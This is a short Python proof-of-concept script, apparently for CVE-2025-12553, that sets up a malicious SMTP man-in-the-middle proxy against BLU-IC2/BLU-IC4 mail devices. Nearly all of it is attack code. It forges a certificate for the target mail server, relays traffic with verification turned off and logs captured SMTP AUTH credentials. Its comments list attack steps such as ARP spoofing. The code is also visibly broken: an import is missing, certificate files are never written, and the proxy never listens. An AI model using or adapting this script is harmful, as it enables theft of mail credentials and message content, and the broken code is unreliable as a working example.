CVE-2025-12553

# CVE-2025-12553 PoC - BLU-IC2/BLU-IC4 Mail Server MITM Attack # This PoC demonstrates the certificate verification bypass vulnerability import ssl import smtplib from mitmproxy import proxy, options from mitmproxy.addons import eventstore import OpenSSL from datetime import datetime class MaliciousMailProxy: """ Malicious SMTP proxy that performs MITM attack on BLU-IC2/BLU-IC4 when certificate verification is disabled """ def __init__(self, listen_port=1025, target_smtp='smtp.victim.com', target_port=465): self.listen_port = listen_port self.target_smtp = target_smtp self.target_port = target_port self.captured_credentials = [] self.captured_emails = [] def generate_fake_certificate(self): """Generate a self-signed certificate to impersonate the mail server""" key = OpenSSL.crypto.PKey() key.generate_key(OpenSSL.crypto.TYPE_RSA, 2048) cert = OpenSSL.crypto.X509() cert.get_subject().CN = self.target_smtp cert.set_serial_number(datetime.now().timestamp()) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(365*24*60*60) cert.set_pubkey(key) cert.sign(key, 'sha256') return key, cert def handle_client_connection(self, client_socket, client_address): """ Handle incoming connection from vulnerable BLU-IC2/BLU-IC4 device Forward traffic to real server while logging all data """ print(f"[*] Intercepted connection from {client_address}") # Connect to legitimate mail server server_socket = ssl.wrap_socket( socket.socket(socket.AF_INET, socket.SOCK_STREAM), keyfile='malicious.key', certfile='malicious.crt', server_side=True ) try: # Log captured SMTP commands (AUTH, LOGIN, DATA) data = client_socket.recv(4096) if b'AUTH' in data: self.captured_credentials.append(data.decode('utf-8', errors='ignore')) print("[!] Captured SMTP AUTH credentials") # Forward to real server real_server = socket.socket() real_server.connect((self.target_smtp, self.target_port)) real_ssl = ssl.wrap_socket(real_server, cert_reqs=ssl.CERT_NONE) real_ssl.sendall(data) # Log response response = real_ssl.recv(4096) client_socket.sendall(response) except Exception as e: print(f"[!] Error during MITM: {e}") finally: client_socket.close() server_socket.close() def main(): """ Main execution function Usage: python cve_2025_12553_poc.py """ print("=" * 60) print("CVE-2025-12553 PoC - BLU-IC2/BLU-IC4 Certificate Bypass") print("=" * 60) proxy_server = MaliciousMailProxy(listen_port=1025) proxy_server.generate_fake_certificate() print(f"[*] Starting malicious proxy on port {proxy_server.listen_port}") print("[*] Waiting for connections from vulnerable devices...") print("[*] All captured credentials and emails will be logged") # In real attack scenario, attacker would: # 1. Position themselves as MITM (ARP spoofing, compromised router, etc.) # 2. Redirect SMTP traffic to malicious proxy # 3. Capture all authentication attempts and email content if __name__ == "__main__": main()

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